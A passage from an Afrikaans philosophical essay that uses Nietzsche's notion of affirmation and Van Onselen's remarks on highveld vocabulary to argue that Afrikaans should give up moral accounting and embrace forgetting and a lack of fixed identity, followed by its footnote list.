’n Mens hoor dikwels dat Afrikaans onder die vorige bewind “bevoorreg” is, en nou gestraf moet word daarvoor. Hierdie denke is eienaardig, maar op ’n manier gee die tussengebied wat Afrikaans beklee hom tog ’n verhewe en daarom bevoorregte posisie. In ’n sekere sin is die Suid-Afrikaanse ervaring nóg Europees, nóg van Afrika. Dit behels drie eeue van deterritorialisering, van vergeet van én die Europese identiteit én die Afrika-identiteit. Ek word geïntrigeer deur die volgende opmerking van ’n sekere historikus wat allermins Afrikaans of die Afrikaner goedgesind is, en wat waarskynlik geen erg sou hê aan die verdwyning van Afrikaans as taal nie. Verwysende na die Hoëveld, meen hy:

These hot, dry and expansive plains of the subcontinent provide the country with its most characteristic landscape, and a distinctive terminology which singles out for special attention any geomorphological feature which so much as hints at either height or water. Koppie, krans, pan, platteland, rand, sloot, spruit, vlakte, and vlei — are all Afrikaans words that defy easy translation and which have been incorporated holus-bolus into the vocabulary of all urban South Africans. They are quintessentially highveld words; words that give life to the ways in which one senses and experiences much of what it is to be South African … When an authentic South African identity eventually emerges from this troubled country it will, in large part, have come from painful experiences on the highveld. 23

Die leser van Nietzsche kan nie anders as om hardop te skater oor die opvatting van “’n outentieke Suid-Afrikaanse identiteit nie”, maar is dit nie ’n kraak in die mondering van die “nasionale en internasionale lingua franca” nie? Wat Van Onselen, die outeur van hierdie reëls nie besef nie, is dat die skoonheid van hierdie woorde — hierdie Afrikaanse woorde — nie uitvloei vanaf of selfs neig na ’n ware identiteit nie, maar vanuit ’n proses van vergeet, van swerf, van soeke na die horison van die tussengebied.

Die verskil tussen Afrikaner-nasionalisme en Afrika-nasionalisme is een lettergreep, en albei hou aan ons ’n identiteit voor wat gefabriseer word uit herinnerde idealisme, Plato se proses van anamnese waar ons almal soos grotbewoners droom van die helder lig daarbuite wat ons nooit sal smaak nie omdat dit tot die ideële wêreld behoort. Eerder as wat ons die identiteit nastreef wat deur die kultuurpolisie van die nuwe ou Suid-Afrika aan ons voorgehou word, behoort ons die proses van vergeet wat eie aan Afrikaans is, voort te sit. Ons behoort ons verlies aan ’n identiteit te bevestig of, in Nietzscheaanse terme, dit te beja.

Om Afrikaans te beja sou onder meer behels om verby die taalmoraliteit en -moralisme te kyk. Soos Nietzsche dit stel:

Die Moral, insofern sie verurteilt, an sich, nicht aus Hinsichten, Rücksichten, Absichten des Lebens, ist ein spezifischer Irrtum, mit dem man kein Mitleiden haben soll, eine Degenerierten-Idiosynkrasie, die unsäglich viel Schaden gestiftet hat! … Wir anderen, wir Immoralisten, haben umgekehrt unser Herz weit gemacht für alle Art Vertstehn, Begreifen, Gutheißen. Wir verneinen nicht leicht, wir suchen unsre Ehre darin, Bejahende zu sein … 24

[Die moraal, sover dit op grond van homself veroordeel, en nie met verwysing na en waardering vir die doel van die lewe nie, is ’n spesifieke dwaling waarmee ’n mens geen simpatie behoort te hê nie, ’n idiosinkrasie van die gedegenereerdes wat ontsaglike skade veroorsaak het! … Ons ander, die immoraliste, het inteendeel ons harte oopgemaak vir elke soort verstaan, begrip, goedkeuring. Ons ontken nie maklik nie, ons soek na ons eer deur bejaend te wees.]

Elders lees ons, met verwysing na die estetika:

‘Das ist schön’ is eine Bejahung. 25

[‘Dit is mooi’ is ’n bejaïng.]

Om Afrikaans te beja sou dus behels om in die eerste plek die taalmoraliteit af te sweer, die historiese rekeningkunde waar die taal nou promoveer tot “bate”, nou weer tot “las”. In hierdie dae van herinnering aan die onlangse verlede, gaan dit waarskynlik byna bomenslike moed verg om te vergeet, om aktief te vergeet ten einde die onskuld te verwerf waarsonder geen skepping moontlik is nie. Om aktief te vergeet beteken myns insiens op die minste ’n stellingname, ’n sekere strydvaardigheid en bereidheid om ’n standpunt te huldig. Dit gaan my te bowe dat soveel middelmatige persoonlikhede behorende tot ons openbare lewe soveel snert en onsinnighede oor Afrikaans en die kultuur in die algemeen kan kwytraak en skotvry daarvan afkom. Is daar geen skrywers meer in Afrikaans nie, kruip hulle almal onder die bed weg? Het ons geen denkers meer nie, of is hulle nog besig om hulself te heroriënteer sodat hulle gemaklik die oorgang vanaf die Broederbond na die Africanbond kan maak? Het Eugène Marais verniet “Winternag” geskryf en verniet teen die morfien gestry? Is ons so geïntimideer deur ’n spul opgepompte Europeërs en Amerikaners wat geen snars van Suid-Afrika verstaan nie dat ons eers die rokspante van die Kappiekommando sal moet vind voordat ons durf antwoord op hul lomp bekookte beledigings?

Is daar niemand wat identiteitloos genoeg is om ja te sê vir Afrikaans nie?


  1. Heidegger, Martin. Gelassenheit. Pfullingen: Verlag Günther Neske, 1959.
  2. Schoeman, Karel. Hierdie Lewe. Kaapstad: Human & Rousseau, 1993.
  3. Sien byvoorbeeld die beskrywing op bladsy 10, ibid., wat begin “Helder land, glansende silwergrys land wat voor my wegdrywe in die nag, waar ek verwonderd sien hoe elke tak van die harpuisbos glinster soos die digte spirale van sy blaartjies die skynsel van die lig weerkaats en elke rots dof gloei teen die rante …”
  4. Rancière, Jacques. Courts voyages au pays du peuple. Parys: Ed. du Seuil, 1990.
  5. ibid., bl. 7.
  6. De Kiewiet, CW. A history of South Africa, social and economic. Londen: Oxford Univ Press, 1942.
  7. ibid, bl 17.
  8. Blum, Peter. ”Rooinekke op Hermanus” in Steenbok tot poolsee. Kaapstad: Tafelberg, 1974.
  9. P Vergilius Maro. Bucolica et georgica. Basingstoke en Londen: Macmillan, 1972, bll 1-3.
  10. Kristeva, Julia. Etrangers � nous-m�mes. Parys: Fayard, 1988, bl 9.
  11. Van Melle, J. Bart Nel. Pretoria: JL van Schaik, 1981.
  12. Deleuze, Gilles. Superpositions. Parys: Minuit, 1979, bl 109.
  13. ibid, bl 127.
  14. Vergelyk sekere van my opmerkings in Om die Waarheidskommissie te vergeet aangaande die ahistoriese aard van hierdie begrip.
  15. Nietzsche, Friedrich. Sämtliche Werke: Jenseits von Gute und B�se. Stuttgart: Alfred Kröner Verlag, 1964, bl 183.
  16. op cit, bl 19.
  17. Glucksmann, André en Wolton, Thierry. Silence on tue. Parys: Grasset, 1986, bll 23-24.
  18. Girard, René. Le bouc émissaire. Parys: Grasset, 1982.
  19. ibid, bll 30-31.
  20. ibid, bl 39.
  21. Derrida, Jacques. Parages. Parys: Galilée, 1986, bl 15.
  22. ibid, bl 59.
  23. Van Onselen, Charles. The seed is mine. Kaapstad: David Philip, 1996, bll v-vi.
  24. Nietzsche, Friedrich. Sämtliche Werke: Göttzendämmerung. Stuttgart: Alfred Kröner Verlag, 1964, bl 106.
  25. ibid, Der Wille zur Macht, bl 573.

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